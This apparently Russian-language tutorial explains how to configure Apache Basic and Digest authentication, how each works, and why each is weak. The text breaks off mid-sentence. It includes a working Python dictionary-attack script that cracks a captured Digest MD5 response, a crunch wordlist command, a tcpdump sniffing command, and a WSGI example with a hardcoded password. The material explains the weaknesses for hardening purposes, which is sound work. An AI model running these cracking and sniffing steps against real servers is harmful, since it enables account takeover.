Конечно, эти виды авторизации не самые надежные с точки зрения безопасности. Но они отличаются простотой настройки и вполне применимы для небольших и не слишком секретных проектов.
Чтобы разобраться, как работают эти виды авторизации, в чем их преимущества и недостатки, выполним сначала их настройку
Настройка авторизации
Basic
- Создаем новый файл (флаг -с) с пользователем admin
sudo htpasswd -c /usr/local-conf/.htpasswd admin
Вводим и подтверждаем пароль для пользователя 'admin', например 'qwe123'. В каталоге /usr/local-conf/ появится новый файл .htpasswd
- Подключаем модуль apache, отвечающий за basic-авторизацию
sudo a2enmod auth_basic
- Вы настройках хоста (можно виртуального) добавляем
<Directory /var/www/tests/basic>
AuthType Basic
AuthName "private"
AuthUserFile /usr/local-conf/.htpasswd
Require valid-user
</Directory>
На что здесь следует обратить внимание: необходимо запретить внешний доступ к чтению файла .htpasswd. Для этого файл следует размещать за пределами каталога сайта. Или в настройках виртуального хоста дополнительно запрещать доступ к нему. Это необходимо, потому что в данных файлах хранится информация о пользователях имеющих доступ в защищенную зону и хэши паролей этих пользователей
- Перезапускаем apache
Digest
- Создаем новый файл (флаг -с) пароля
sudo htdigest -c /usr/local-conf/.htpasswd private admin
Обратите внимание: здесь при создании нового пользователя в защищенную зону необходимо вводить псевдоним этой зоны (в отличии от basic)
- Подключаем модуль apache, отвечающий за digest-авторизацию
sudo a2enmod auth_digest
- В настройках хоста (можно виртуального) добавляем
<Directory /var/www/tests/digest>
AuthType Digest
AuthName private
AuthUserFile /usr/local-conf/.htpasswd
Require valid-user
</Directory>
Обратить внимание: здесь обязательно в параметре AuthName нужно указывать псевдоним защищенной зоны указанный нами на шаге 1
- Перезапускаем apache
Как работает авторизация
Basic
Когда мы пытаемся зайти на страницу защищенной области (GET-запрос по адресу http://tests/basic/index.html), происходит следующее
- Браузер отправляет серверу запрос примерно с таким заголовком
GET /basic/ HTTP/1.1
Host: tests
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/44.0.2403.89 Chrome/44.0.2403.89 Safari/537.36
HTTPS: 1
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
- Сервер возвращает ответ
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Sep 2016 09:16:25 GMT
Server: Apache/2.4.7 (Ubuntu)
WWW-Authenticate: Basic realm="Private Area"
Content-Length: 451
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at tests Port 80</address>
</body></html>
Заметьте, с первым же ответом сервер загрузил страницу с информацией, что авторизация не пройдена. Поэтому если мы отказываемся от авторизации, обмена сообщениями между клиентом и сервером не происходит, браузер просто отображает эту страницу.
- Если мы вводим неправильный логин-пароль, браузер генерирует и отправляет сообщение примерно со следующим заголовком
GET /basic/ HTTP/1.1
Host: tests
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic YXNtaXY6ZGRk
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/44.0.2403.89 Chrome/44.0.2403.89 Safari/537.36
HTTPS: 1
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Обратите внимание на ключ Authorization - браузер кодирует (вроде бы) Ваш логин-пароль и тут же сохраняет его у себя. К данному факту мы еще вернемся позже
- Ответ сервера такой же, что и на шаге 2
- Если мы вводим правильный логин-пароль, то получаем от сервера примерно такой ответ
HTTP/1.1 200 OK
Date: Sun, 18 Sep 2016 09:44:30 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sun, 18 Sep 2016 08:31:37 GMT
ETag: "c2-53cc406177934-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 161
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
В теле ответа передается для отображения в браузере загружаемая страница (index.html) И, внимание! Если страница ссылается на другие файлы (скрипты, стили и т.д.), находящиеся внутри защищаемой папки (basic), то браузер автоматически для каждого такого файла отправляет на сервер запросы с заголовками, аналогичными шагу 3.
Если подключаемые файлы находятся НЕ в защищаемой области - браузер запрос на проверку пароля для их получения НЕ отправляет
Digest
Схема авторизации аналогична Basic. Отличие лишь в параметрах, перезаваемых в заголовках запросов и ответов.
Ответ сервера о необходимости прохождения авторизации (шаг 2)
WWW-Authenticate: Digest realm="private", nonce="lz9uTMU8BQA=398ac33371c9922a84e12c06394493152781e575", algorithm=MD5, qop="auth"
Запрос клиента с введенными значениями логина и пароля (шаг 3)
Authorization: Digest username="admin", realm="private", nonce="bT2bUMU8BQA=c7efe86ce4147b1ada766fbcd96639c521855b45", uri="/digest/", algorithm=MD5, response="bf1ec1979946c684cbe834974be19dc9", qop=auth, nc=00000001, cnonce="896733f4c19f6c9d"
Ответ сервера об успешном прохождении авторизации (шаг 5)
Authentication-Info: rspauth="c7fa3bfe108be8c47a6fad4b4a0f8125", cnonce="896733f4c19f6c9d", nc=00000001, qop=auth
Теперь разберемся почему Basic и Digest авторизация сегодня считается ненадежной и насколько она ненадежна.
Надежность авторизации
Basic
Прежде всего логин и пароль пользователя хранятся на компьютере пользователя и передаются серверу (шаг 3) БЕЗ шифрования. То что мы видим в заголовке запроса
Authorization: Basic YXNtaXY6ZGRk
- это всего лишь кодирование base64. Преобразовать набор символов в пару логин-пароль не составляет никакого труда, например так https://www.base64decode.org/
Далее Basic авторизация статична - пароль, единожды сохраненный Вашим браузером позволит Вам заходить в последующем в защищенную зону без прохождения авторизации до оконачания сеанса (закрытия браузера)
И, наконец, протокол Basic авторизации не предусматривает никаких ограничений на количество попыток авторизации.
Digest
Работа Digest авторизации чуть сложнее. Прежде всего, при первом сообщении клиенту о необходимости прохождения авторизации (шаг 2), сервер передает в заголовке ряд параметров
WWW-Authenticate: Digest realm="private", nonce="lz9uTMU8BQA=398ac33371c9922a84e12c06394493152781e575", algorithm=MD5, qop="auth"
- realm - имя защищенной области (помните, мы акцентировали на ней внимание при настроке файла конфигурации?) Здесь значение этого параметра играет роль (в отличии от Basic авторизации)
- nonce - уникальный ключ, генерируемый сервером в момент отправки сообщения клиенту
- algorithm - название алгоритма (как правило, MD5)
Этой информации достаточно браузеру для того чтобы знать как нужно шифровать введенные пользователем логин и пароль перед отправкой на сервер
Пользователь вводит логин-пароль, браузер шифрует их и отправляет серверу для проверки следующую информацию (шаг 3)
Authorization: Digest username="admin", realm="private", nonce="bT2bUMU8BQA=c7efe86ce4147b1ada766fbcd96639c521855b45", uri="/digest/", algorithm=MD5, response="bf1ec1979946c684cbe834974be19dc9", qop=auth, nc=00000001, cnonce="896733f4c19f6c9d"
Здесь прежде всего нужно обратить внимание на параметр response. Это - контрольная сумма с которой будет сверяться сервер.
Получив от клиента информацию, сервер берет из файла паролей (.htpasswd) для пользователя username и защищенной зоны realm правильное значение пароля, по известному алгоритму (см. ниже) вычисляет контрольную сумму и сравнивает ее с суммой, переданной в response. Если суммы не совпадают - сервер вновь предлагает пройти авторизацию
Алгоритм расчета контрольной суммы (response) одинаков для клиента и сервера. Достаточно понятно от описан здесь
Таким образом, главное отличие Digest-авторизация - шифрование пароля. Что, впрочем не до конца исключает уязвимость данного способа авторизации.
Итоги
- Потенциально существует три возможности получения информации о логине и пароле авторизации
- из данных сохраненных браузером на компьютере клиента
- из перехваченных запросов клиента серверу
- из файла .htpasswd, хранящемся на сервере
Протоколы авторизации не предусматривают механизм контроля неудачных попыток прохождения авторизации
Безопасность
На перечисленных недостатках сегодня реализованы различные успешные методы взлома пароля и получения доступа к защищенной зоне сайта. Наиболее распространенными являются подбор пароля и его взлом.
Подбор пароля основан на том, что basic и digest авторизация в чистом виде не контролируют количество неудачных попыток авторизации. Поэтому достаточно просто создать программу, автоматически генерирующую запросы доступа в защищенную с подставлением различных паролей (из заранее подготовленного словаря) до тех пор пока один из паролей не подойдет
Другой способ - взлом пароля реализуется в два этапа. Сначала необходимо получить информацию о логине-пароле пользователя (из данных сохраненных браузером клиента или перехваченного трафика). Затем из полученной информации извлекается пароль. Если для basic-авторизации это труда не составляет, то с digest-авторизацией сложнее. Но вполне осуществимо. Здесь применяется программное обеспечение использующее различные подходы:
- прямой подбор паролей из словаря - наименне эффективный метод но при удачно составленном словаре вполне действенный (см пример ниже)
- использование "радужных таблиц"
- метод "туннелирования"
- используя вычислительные мощности отдельных видов видеокарт
Подбор пароля из словаря
Можно скачать готовые словари, а можно их сгенерировать самому. Например программой crunch. Пароли генерируются не случайным образом а путем всех возможных перестановок символов, доступных для ввода пароля. Вот один пример
crunch 3 6 -f charset.lst mixalpha-numeric-all -o dict3-6.txt
Эта команда сгенерирует файл с паролями длиной от 3 до 6 символов с использованием предустановленного словаря mixalpha-numeric-all (все латинские буквы, цифры и нектороные символы). Правда, количество таких паролей будет 697.287.726.760 и занимать на диске они будут около 4 TB. Поэтому, на практите эту утилиту можно использовать только в случае каких либо сведений о пароле, например, что пароль состоит из 8 символов и только из цифр.
Так можно попытаться взломать пароль, перебрав 9.000.000 паролей. Полный перебор займет всего 1 минуту
# -*- coding: utf-8 -*-
import hashlib
def calc(h1,h2, nonce, cnonce):
return hashlib.md5(h1+':'+nonce+':'+nc+':'+cnonce+':'+qop+':'+h2).hexdigest()
if __name__=='__main__':
#данные о пароле из перехваченного трафика
nonce="Z97svNM8BQA=71be2e3910ee86fa54a3e4afc13f5b9ecc02303b"
qop="auth"
nc="00000001"
cnonce="ad82cf9261fe82d8"
username='admin'
realm='private'
method='GET'
uri='/digest/'
TEMPLATE_RESP='9b8b18ff554a7e93f37d3e2b82dc40d0'
h2=hashlib.md5(method+':'+uri).hexdigest()
f=open('9mil.txt', 'r')
for passwd in f:
h1=hashlib.md5(username+':'+realm+':'+passwd[:-1]).hexdigest()
resp=calc(h1,h2, nonce, cnonce)
if resp==TEMPLATE_RESP:
print 'Пароль - '+ passwd
break
Кстати, перехватывать для анализа трафик между клиентом и сервером (локального отладочного) можно примерно так
sudo tcpdump -A -s 1024 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' -i lo
Усиление защищенности Basic/Digest авторизации
Прежде всего, для себя я не нашел ни одного преимущества Basic перед Digest. Поэтому в дальнейшем буду рассмотривать исключительно способы усиления защищенности Digest авторизации.
Будем использовать возможности wsgi. Конфигурацию хоста в части авторизации настраиваем так
<Directory "c:/Apache24/htdocs/test/digest">
AuthType Digest
AuthName "orivate"
Require valid-user
#AuthUserFile "c:/.ht_digest"
AuthDigestProvider wsgi
WSGIAuthUserScript "c:/Apache24/cgi-bin/auth.wsgi"
</Directory>
Теперь прохождением авторизации будет управлять скрипт auth.wsgi. Скрипт должен быть примерно такого содержания
import md5
def get_realm_hash(environ, user, realm):
value = md5.new()
value.update('%s:%s:%s' % (user, realm, 'qwe123'))
hash = value.hexdigest()
# теперь легко логировать попытки авторизации
#f=open('wsgi_auth.log','a')
#f.write(str(environ['REMOTE_ADDR'])+'\t'+user+'\t'+realm+'\r')
#f.close()
if user == 'admin':
return hash
return None
Ведя логи можно ограничивать попытки авторизации по времени, ip адресу, пользователю и т.д.
Что касается защиты пароля от взлома ...